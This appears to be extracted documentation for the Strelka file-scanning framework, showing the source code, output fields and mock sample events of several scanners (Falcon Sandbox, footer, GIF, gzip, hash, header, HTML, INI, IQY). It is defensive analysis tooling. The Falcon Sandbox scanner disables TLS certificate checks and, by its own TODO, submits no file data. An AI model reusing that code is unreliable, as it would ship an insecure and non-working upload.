test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"sourcefile\": 0.001,\n \"exiftoolversion\": 12.6,\n \"filename\": 0.001,\n \"directory\": \"/tmp\",\n \"filesize\": \"51 kB\",\n \"filemodifydate\": 0.001,\n \"fileaccessdate\": 0.001,\n \"fileinodechangedate\": 0.001,\n \"filepermissions\": \"-rw-------\",\n \"filetype\": \"DOC\",\n \"filetypeextension\": \"doc\",\n \"mimetype\": \"application/msword\",\n \"identification\": \"Word 8.0\",\n \"languagecode\": \"English (US)\",\n \"docflags\": \"Has picture, 1Table, ExtChar\",\n \"system\": \"Windows\",\n \"word97\": \"No\",\n \"title\": \"\",\n \"subject\": \"\",\n \"author\": \"Ryan.OHoro\",\n \"keywords\": \"\",\n \"comments\": \"\",\n \"template\": \"Normal.dotm\",\n \"lastmodifiedby\": \"Ryan.OHoro\",\n \"software\": \"Microsoft Office Word\",\n \"createdate\": \"2022:12:16 19:48:00\",\n \"modifydate\": \"2022:12:16 19:48:00\",\n \"security\": \"None\",\n \"codepage\": \"Windows Latin 1 (Western European)\",\n \"company\": \"Target Corporation\",\n \"charcountwithspaces\": 2877,\n \"appversion\": 16.0,\n \"scalecrop\": \"No\",\n \"linksuptodate\": \"No\",\n \"shareddoc\": \"No\",\n \"hyperlinkschanged\": \"No\",\n \"titleofparts\": \"\",\n \"headingpairs\": \"Title, 1\",\n \"compobjusertypelen\": 32,\n \"compobjusertype\": \"Microsoft Word 97-2003 Document\",\n \"lastprinted\": \"0000:00:00 00:00:00\",\n \"revisionnumber\": 2,\n \"totaledittime\": \"1 minute\",\n \"words\": 430,\n \"characters\": 2452,\n \"pages\": 1,\n \"paragraphs\": 5,\n \"lines\": 20,\n }\nSends files to Falcon Sandbox.
Attributes:
api_key: API key used for authenticating to Falcon Sandbox. This is loaded\n from the scanner options or the environment variable\n 'FS_API_KEY'.\napi_secret: API secret key used for authenticating to Falcon Sandbox. This is loaded\n from the scanner options or the environment variable\n 'FS_API_SECKEY'.\nlib: URL of the Falcon Sandbox API inteface.\nauth_check: Boolean that determines if the username and password were\n previously checked. This ensures that the username and password\n are only checked once per worker.\ndepth: Recursion depth for file submission to Falcon Sandbox. Defaults to 0. env_id: List of sandbox environments to submit sample to. Public Sandbox environments ID: 300: 'Linux (Ubuntu 16.04, 64 bit)', 200: 'Android Static Analysis\u2019, 160: 'Windows 10 64 bit\u2019, 110: 'Windows 7 64 bit\u2019, 100: \u2018Windows 7 32 bit\u2019 Defaults to [100]
Source code instrelka/src/python/strelka/scanners/scan_falcon_sandbox.py class ScanFalconSandbox(strelka.Scanner):\n \"\"\"Sends files to Falcon Sandbox.\n\n Attributes:\n\n api_key: API key used for authenticating to Falcon Sandbox. This is loaded\n from the scanner options or the environment variable\n 'FS_API_KEY'.\n api_secret: API secret key used for authenticating to Falcon Sandbox. This is loaded\n from the scanner options or the environment variable\n 'FS_API_SECKEY'.\n lib: URL of the Falcon Sandbox API inteface.\n auth_check: Boolean that determines if the username and password were\n previously checked. This ensures that the username and password\n are only checked once per worker.\n\n\n Options:\n depth: Recursion depth for file submission to Falcon Sandbox.\n Defaults to 0.\n env_id: List of sandbox environments to submit sample to.\n Public Sandbox environments ID: 300: 'Linux (Ubuntu 16.04, 64 bit)',\n 200: 'Android Static Analysis\u2019,\n 160: 'Windows 10 64 bit\u2019,\n 110: 'Windows 7 64 bit\u2019,\n 100: \u2018Windows 7 32 bit\u2019\n Defaults to [100]\n \"\"\"\n\n def init(self):\n self.api_key = None\n self.api_secret = None\n self.server = \"\"\n self.auth_check = False\n self.depth = 0\n self.env_id = [100]\n\n def submit_file(self, file, env_id):\n url = self.server + \"/api/submit\"\n # TODO data is never referenced so this will crash\n files = {\"file\": None} # data\n\n data = {\"nosharevt\": 1, \"environmentId\": env_id, \"allowCommunityAccess\": 1}\n\n try:\n response = requests.post(\n url,\n data=data,\n params={},\n verify=False,\n files=files,\n timeout=self.timeout,\n headers={\"User-Agent\": \"VxApi CLI Connector\"},\n auth=(HTTPBasicAuth(self.api_key, self.api_secret)),\n )\n\n if response.status_code == 200 and response.json()[\"response_code\"] == 0:\n sha256 = response.json()[\"response\"][\n \"sha256\"\n ] # Successfully submitted file\n self.event[\"sha256\"] = sha256\n\n elif response.status_code == 200 and response.json()[\"response_code\"] == -1:\n self.flags.append(\n \"duplicate_submission\"\n ) # Submission Failed - duplicate\n\n else:\n self.flags.append(\"upload_failed\") # Upload Failed\n\n except requests.exceptions.ConnectTimeout:\n self.flags.append(\"connect_timeout\")\n\n return\n\n def scan(self, data, file, options, expire_at):\n self.depth = options.get(\"depth\", 0)\n\n if file.depth > self.depth:\n self.flags.append(\"file_depth_exceeded\")\n return\n\n self.server = options.get(\"server\", \"\")\n self.priority = options.get(\"priority\", 3)\n self.timeout = options.get(\"timeout\", 60)\n self.env_id = options.get(\"env_id\", [100])\n\n if not self.auth_check:\n self.api_key = options.get(\"api_key\", None) or os.environ.get(\"FS_API_KEY\")\n self.api_secret = options.get(\"api_secret\", None) or os.environ.get(\n \"FS_API_SECKEY\"\n )\n self.auth_check = True\n\n # Allow submission to multiple environments (e.g. 32-bit and 64-bit)\n for env in self.env_id:\n self.submit_file(file, env)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanFalconSandbox.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanFalconSandbox.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanFalconSandbox.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner falcon_sandbox
"},{"location":"Scanners/ScanFooter.html","title":"ScanFooter","text":"Collects file footer.
Optionslength: Number of footer characters to log as metadata. Defaults to 50. encodings: List of which fields/encodings should be emitted, one of classic, raw, hex, backslash
Source code instrelka/src/python/strelka/scanners/scan_footer.py class ScanFooter(strelka.Scanner):\n \"\"\"Collects file footer.\n\n Options:\n length: Number of footer characters to log as metadata.\n Defaults to 50.\n encodings: List of which fields/encodings should be emitted, one of classic, raw, hex, backslash\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n length = options.get(\"length\", 50)\n encodings = options.get(\"encodings\", [\"classic\"])\n\n if \"classic\" in encodings:\n self.event[\"footer\"] = data[-length:]\n if \"raw\" in encodings:\n self.event[\"raw\"] = data[-length:]\n if \"hex\" in encodings:\n self.event[\"hex\"] = binascii.hexlify(data[-length:])\n if \"backslash\" in encodings:\n self.event[\"backslash\"] = str(data[-length:])[2:-1]\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanFooter.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude*"},{"location":"Scanners/ScanFooter.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typebackslash str elapsed str flags list footer bytes hex bytes raw bytes"},{"location":"Scanners/ScanFooter.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"footer\": b\"itae. Et tortor consequat id porta nibh venenatis.\",\n \"backslash\": \"itae. Et tortor consequat id porta nibh venenatis.\",\n \"hex\": b\"697461652e20457420746f72746f7220636f6e73657175617420696420706f727461206e6962682076656e656e617469732e\",\n \"raw\": b\"itae. Et tortor consequat id porta nibh venenatis.\",\n }\nExtracts data embedded in GIF files.
This scanner extracts data that is inserted past the GIF trailer.
Source code instrelka/src/python/strelka/scanners/scan_gif.py class ScanGif(strelka.Scanner):\n \"\"\"Extracts data embedded in GIF files.\n\n This scanner extracts data that is inserted past the GIF trailer.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n if not data.endswith(b\"\\x00\\x3b\"):\n trailer_index = data.rfind(b\"\\x00\\x3b\")\n if trailer_index == -1:\n self.flags.append(\"no_trailer\")\n else:\n trailer_data = data[trailer_index + 2 :]\n if trailer_data:\n self.event[\"trailer_index\"] = trailer_index\n\n # Send extracted file back to Strelka\n self.emit_file(trailer_data)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanGif.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludegif_file image/gif"},{"location":"Scanners/ScanGif.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list trailer_index int"},{"location":"Scanners/ScanGif.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [], \"trailer_index\": 3806}\nDecompresses gzip files.
Source code instrelka/src/python/strelka/scanners/scan_gzip.py class ScanGzip(strelka.Scanner):\n \"\"\"Decompresses gzip files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n try:\n with io.BytesIO(data) as gzip_io:\n with gzip.GzipFile(fileobj=gzip_io) as gzip_obj:\n decompressed = gzip_obj.read()\n self.event[\"size\"] = len(decompressed)\n\n # Send extracted file back to Strelka\n self.emit_file(decompressed, name=file.name)\n except gzip.BadGzipFile:\n self.flags.append(\"bad_gzip_file\")\n except zlib.error:\n self.flags.append(\"bad_gzip_file\")\n except EOFError:\n self.flags.append(\"eof_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanGzip.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/gzip application/x-gzip gzip_file"},{"location":"Scanners/ScanGzip.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list size int"},{"location":"Scanners/ScanGzip.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [], \"size\": 4015}\nCalculates file hash values.
Source code instrelka/src/python/strelka/scanners/scan_hash.py class ScanHash(strelka.Scanner):\n \"\"\"Calculates file hash values.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n self.event[\"md5\"] = md5(data).hexdigest()\n self.event[\"sha1\"] = sha1(data).hexdigest()\n self.event[\"sha256\"] = sha256(data).hexdigest()\n self.event[\"ssdeep\"] = ssdeep_hash(data)\n self.event[\"tlsh\"] = tlsh_hash(data)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanHash.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude*"},{"location":"Scanners/ScanHash.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list md5 str sha1 str sha256 str ssdeep str tlsh str"},{"location":"Scanners/ScanHash.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"md5\": \"f58ebb5ce3e07a9dfc6dcca556b58291\",\n \"sha1\": \"67198a3ca72c49fb263f4a9749b4b79c50510155\",\n \"sha256\": \"f2f667e330da9f190eda77c74781963a0495c3953a653747fe475b99421efdda\",\n \"ssdeep\": \"48:6XZmqLorrAtzkuPS/6NMn3BCiLMjOiuCOlXTuZKFWpfbNtm:GmbWl8xCYDlTunzNt\",\n \"tlsh\": \"T1D281701183EA87B6E9334732BDB363804279FB41DCAB4B6F2884530B2D163544DA3F61\",\n }\nCollects file header.
Optionslength: Number of header characters to log as metadata. Defaults to 50. encodings: List of which fields/encodings should be emitted, one of classic, raw, hex, backslash
Source code instrelka/src/python/strelka/scanners/scan_header.py class ScanHeader(strelka.Scanner):\n \"\"\"Collects file header.\n\n Options:\n length: Number of header characters to log as metadata.\n Defaults to 50.\n encodings: List of which fields/encodings should be emitted, one of classic, raw, hex, backslash\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n length = options.get(\"length\", 50)\n encodings = options.get(\"encodings\", [\"classic\"])\n\n if \"classic\" in encodings:\n self.event[\"header\"] = data[:length]\n if \"raw\" in encodings:\n self.event[\"raw\"] = data[:length]\n if \"hex\" in encodings:\n self.event[\"hex\"] = binascii.hexlify(data[:length])\n if \"backslash\" in encodings:\n self.event[\"backslash\"] = str(data[:length])[2:-1]\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanHeader.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude*"},{"location":"Scanners/ScanHeader.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typebackslash str elapsed str flags list header bytes hex bytes raw bytes"},{"location":"Scanners/ScanHeader.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"header\": b\"Lorem ipsum dolor sit amet, consectetur adipiscing\",\n \"backslash\": \"Lorem ipsum dolor sit amet, consectetur adipiscing\",\n \"hex\": b\"4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e73656374657475722061646970697363696e67\",\n \"raw\": b\"Lorem ipsum dolor sit amet, consectetur adipiscing\",\n }\nCollects metadata and extracts embedded scripts from HTML files.
Optionsparser: Sets the HTML parser used during scanning. Defaults to 'html.parser'.
Source code instrelka/src/python/strelka/scanners/scan_html.py class ScanHtml(strelka.Scanner):\n \"\"\"Collects metadata and extracts embedded scripts from HTML files.\n\n Options:\n parser: Sets the HTML parser used during scanning.\n Defaults to 'html.parser'.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n parser = options.get(\"parser\", \"html.parser\")\n max_hyperlinks = options.get(\"max_hyperlinks\", 50)\n\n self.event[\"total\"] = {\n \"scripts\": 0,\n \"forms\": 0,\n \"inputs\": 0,\n \"frames\": 0,\n \"extracted\": 0,\n }\n\n try:\n soup = bs4.BeautifulSoup(data, parser)\n\n if soup.title:\n self.event[\"title\"] = soup.title.text\n\n hyperlinks = []\n hyperlinks.extend(soup.find_all(\"a\", href=True))\n hyperlinks.extend(soup.find_all(\"img\", src=True))\n self.event.setdefault(\"hyperlinks\", [])\n for hyperlink in hyperlinks:\n link = hyperlink.get(\"href\") or hyperlink.get(\"src\")\n\n if link and link.startswith(\"data:\") and \";base64,\" in link:\n hyperlink_data = link.split(\";base64,\")[1]\n self.emit_file(\n hyperlink_data.encode(),\n name=\"base64_hyperlink\",\n flavors=[\"base64\"],\n )\n else:\n if link not in self.event[\"hyperlinks\"]:\n self.event[\"hyperlinks\"].append(link)\n\n # Gather count of links and reduce potential link duplicates and restrict amount of\n # links returned using the configurable max_hyperlinks.\n if self.event[\"hyperlinks\"]:\n self.event[\"hyperlinks_count\"] = len(self.event[\"hyperlinks\"])\n self.event[\"hyperlinks\"] = self.event[\"hyperlinks\"][:max_hyperlinks]\n\n forms = soup.find_all(\"form\")\n self.event[\"total\"][\"forms\"] = len(forms)\n self.event.setdefault(\"forms\", [])\n for form in forms:\n form_entry = {\n \"action\": form.get(\"action\"),\n \"method\": form.get(\"method\"),\n }\n if form_entry not in self.event[\"forms\"]:\n self.event[\"forms\"].append(form_entry)\n\n frames = []\n frames.extend(soup.find_all(\"frame\"))\n frames.extend(soup.find_all(\"iframe\"))\n self.event[\"total\"][\"frames\"] = len(frames)\n self.event.setdefault(\"frames\", [])\n for frame in frames:\n frame_entry = {\n \"src\": frame.get(\"src\"),\n \"name\": frame.get(\"name\"),\n \"height\": frame.get(\"height\"),\n \"width\": frame.get(\"width\"),\n \"border\": frame.get(\"border\"),\n \"id\": frame.get(\"id\"),\n \"style\": frame.get(\"style\"),\n }\n if frame_entry not in self.event[\"frames\"]:\n self.event[\"frames\"].append(frame_entry)\n\n inputs = soup.find_all(\"input\")\n self.event[\"total\"][\"inputs\"] = len(inputs)\n self.event.setdefault(\"inputs\", [])\n for html_input in inputs:\n input_entry = {\n \"type\": html_input.get(\"type\"),\n \"name\": html_input.get(\"name\"),\n \"value\": html_input.get(\"value\"),\n }\n if input_entry not in self.event[\"inputs\"]:\n self.event[\"inputs\"].append(input_entry)\n\n scripts = soup.find_all(\"script\")\n self.event[\"total\"][\"scripts\"] = len(scripts)\n self.event.setdefault(\"scripts\", [])\n for index, script in enumerate(scripts):\n script_flavors = [\n script.get(\"language\", \"\").lower(),\n script.get(\"type\", \"\").lower(),\n ]\n script_entry = {\n \"src\": script.get(\"src\"),\n \"language\": script.get(\"language\"),\n \"type\": script.get(\"type\"),\n }\n if script_entry not in self.event[\"scripts\"]:\n self.event[\"scripts\"].append(script_entry)\n\n if script.text:\n self.emit_file(\n script.text.encode(),\n name=f\"script_{index}\",\n flavors=script_flavors,\n )\n self.event[\"total\"][\"extracted\"] += 1\n\n spans = soup.find_all(\"span\")\n self.event[\"total\"][\"spans\"] = len(spans)\n self.event.setdefault(\"spans\", [])\n for span in spans:\n span_entry = {\n \"class\": span.get(\"class\"),\n \"style\": span.get(\"style\"),\n }\n if span_entry not in self.event[\"spans\"]:\n self.event[\"spans\"].append(span_entry)\n\n divs = soup.find_all(\"div\")\n for div in divs:\n div_content = div.string\n if div_content is None:\n continue\n\n is_maybe_base64 = base64Re.search(div_content)\n\n if is_maybe_base64:\n self.emit_file(div_content, name=\"base64_div\", flavors=[\"base64\"])\n\n except TypeError:\n self.flags.append(\"type_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanHtml.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludehta_file html_file text/html"},{"location":"Scanners/ScanHtml.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list forms list frames list hyperlinks list hyperlinks_count int inputs list scripts list scripts.language NoneType scripts.src NoneType scripts.src str scripts.type str scripts.type NoneType spans list spans.class NoneType spans.style str title str total dict total.extracted int total.forms int total.frames int total.inputs int total.scripts int total.spans int"},{"location":"Scanners/ScanHtml.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\n \"scripts\": 2,\n \"forms\": 0,\n \"inputs\": 0,\n \"frames\": 0,\n \"extracted\": 1,\n \"spans\": 35,\n },\n \"title\": \"Lorem Ipsum\",\n \"hyperlinks\": [],\n \"forms\": [],\n \"frames\": [],\n \"inputs\": [],\n \"scripts\": [\n {\n \"src\": \"https://example.com/example.js\",\n \"language\": None,\n \"type\": \"text/javascript\",\n },\n {\"src\": None, \"language\": None, \"type\": None},\n ],\n \"spans\": [\n {\"class\": None, \"style\": \"font-size:11pt\"},\n {\"class\": None, \"style\": \"background-color:white\"},\n {\n \"class\": None,\n \"style\": \"font-family:Calibri,sans-serif\",\n },\n {\"class\": None, \"style\": \"font-size:52.5pt\"},\n {\"class\": None, \"style\": \"color:black\"},\n {\"class\": None, \"style\": \"font-size:12pt\"},\n {\n \"class\": None,\n \"style\": 'font-family:\"Times New Roman\",serif',\n },\n {\"class\": None, \"style\": \"font-size:10.5pt\"},\n {\n \"class\": None,\n \"style\": 'font-family:\"Arial\",sans-serif',\n },\n ],\n }\nParses keys from INI files.
Source code instrelka/src/python/strelka/scanners/scan_ini.py class ScanIni(strelka.Scanner):\n \"\"\"Parses keys from INI files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n self.event[\"comments\"] = []\n self.event[\"keys\"] = []\n self.event[\"sections\"] = []\n\n section = \"\"\n ini = data.splitlines()\n for key in ini:\n key = key.strip()\n if not key:\n continue\n\n if key.startswith(b\"[\") and key.endswith(b\"]\"):\n section = key[1:-1]\n self.event[\"sections\"].append(section)\n elif key.startswith(b\"#\") or key.startswith(b\";\"):\n self.event[\"comments\"].append(key)\n else:\n split_key = key.split(b\"=\")\n if len(split_key) == 1:\n self.event[\"keys\"].append(\n {\n \"section\": section,\n \"value\": split_key[0].strip().strip(b'\"\\'\"'),\n }\n )\n elif len(split_key) == 2:\n self.event[\"keys\"].append(\n {\n \"section\": section,\n \"name\": split_key[0].strip().strip(b'\"\\'\"'),\n \"value\": split_key[1].strip().strip(b'\"\\'\"'),\n }\n )\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanIni.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanIni.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecomments list elapsed str flags list keys list keys.name bytes keys.section bytes keys.value bytes sections list"},{"location":"Scanners/ScanIni.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"comments\": [\n b\"; Lorem ipsum dolor sit amet, consectetur adipiscing elit,\",\n b\";sed do eiusmod tempor incididunt ut labore et dolore magna\",\n b\";aliqua.\",\n b\"# Elementum sagittis vitae et leo duis ut diam.\",\n b\"# Nulla facilisi etiam dignissim diam quis.\",\n ],\n \"keys\": [\n {\"section\": b\"Lorem\", \"name\": b\"Update\", \"value\": b\"300\"},\n {\"section\": b\"Lorem\", \"name\": b\"Repeat\", \"value\": b\"24\"},\n {\"section\": b\"Ipsum\", \"name\": b\"Name\", \"value\": b\"Lorem Ipsum\"},\n {\"section\": b\"Ipsum\", \"name\": b\"Author\", \"value\": b\"Lorem\"},\n {\n \"section\": b\"Ipsum\",\n \"name\": b\"Information\",\n \"value\": b\"Volutpat commodo sed egestas egestas.\",\n },\n {\"section\": b\"Ipsum\", \"name\": b\"License\", \"value\": b\"Ipsum\"},\n {\"section\": b\"Ipsum\", \"name\": b\"Version\", \"value\": b\"1.0.1\"},\n ],\n \"sections\": [b\"Lorem\", b\"Ipsum\"],\n }\nStrelka scanner for extracting URLs from IQY (Excel Web Query Internet Inquire) files.
IQY files are typically used to import data into Excel from the web. They often contain URLs that specify the data source. This scanner aims to extract these URLs and process them for IOCs.
The following is a typical format of an IQY file: WEB 1 [URL] [optional parameters]
Reference for IQY file format: https://learn.microsoft.com/en-us/office/vba/api/excel.querytable
Source code instrelka/src/python/strelka/scanners/scan_iqy.py class ScanIqy(strelka.Scanner):\n \"\"\"\n Strelka scanner for extracting URLs from IQY (Excel Web Query Internet Inquire) files.\n\n IQY files are typically used to import data into Excel from the web. They often contain URLs\n that specify the data source. This scanner aims to extract these URLs and process them for IOCs.\n\n The following is a typical format of an IQY file:\n WEB\n 1\n [URL]\n [optional parameters]\n\n Reference for IQY file format: https://learn.microsoft.com/en-us/office/vba/api/excel.querytable\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n \"\"\"\n Processes the provided IQY data to extract URLs.\n\n Attempts to decode the data and applies a regex pattern to identify and extract URLs.\n Extracted URLs are added to the scanner's IOC list.\n\n Args:\n data (bytes): Data associated with the IQY file to be scanned.\n file (strelka.File): File object associated with the data.\n options (dict): Options to be applied during the scan.\n expire_at (int): Expiration timestamp for extracted files.\n \"\"\"\n try:\n # Compile regex pattern for URL detection\n address_pattern = re.compile(\n r\"\\b(?:http|https|ftp|ftps|file|smb)://\\S+|\"\n r\"\\\\{2}\\w+\\\\(?:[\\w$]+\\\\)*[\\w$]+\",\n re.IGNORECASE,\n )\n\n # Attempt to decode the data\n try:\n decoded_data = data.decode(\"utf-8\")\n except UnicodeDecodeError:\n decoded_data = data.decode(\"latin-1\")\n\n # Extract addresses from the data\n addresses = set(\n match.group().strip()\n for line in decoded_data.splitlines()\n if (match := address_pattern.search(line))\n )\n\n # Add extracted URLs to the scanner's IOC list\n if addresses:\n self.event[\"address_found\"] = True\n self.add_iocs(list(addresses))\n else:\n self.event[\"address_found\"] = False\n\n except UnicodeDecodeError as e:\n self.flags.append(f\"Unicode decoding error: {e}\")\n except Exception as e:\n self.flags.append(f\"Unexpected exception: {e}\")\nscan(data, file, options, expire_at)","text":"Processes the provided IQY data to extract URLs.
Attempts to decode the data and applies a regex pattern to identify and extract URLs. Extracted URLs are added to the scanner's IOC list.
Parameters:
Name Type Description Defaultdata bytes Data associated with the IQY file to be scanned.
requiredfile File File object associated with the data.
requiredoptions dict Options to be applied during the scan.
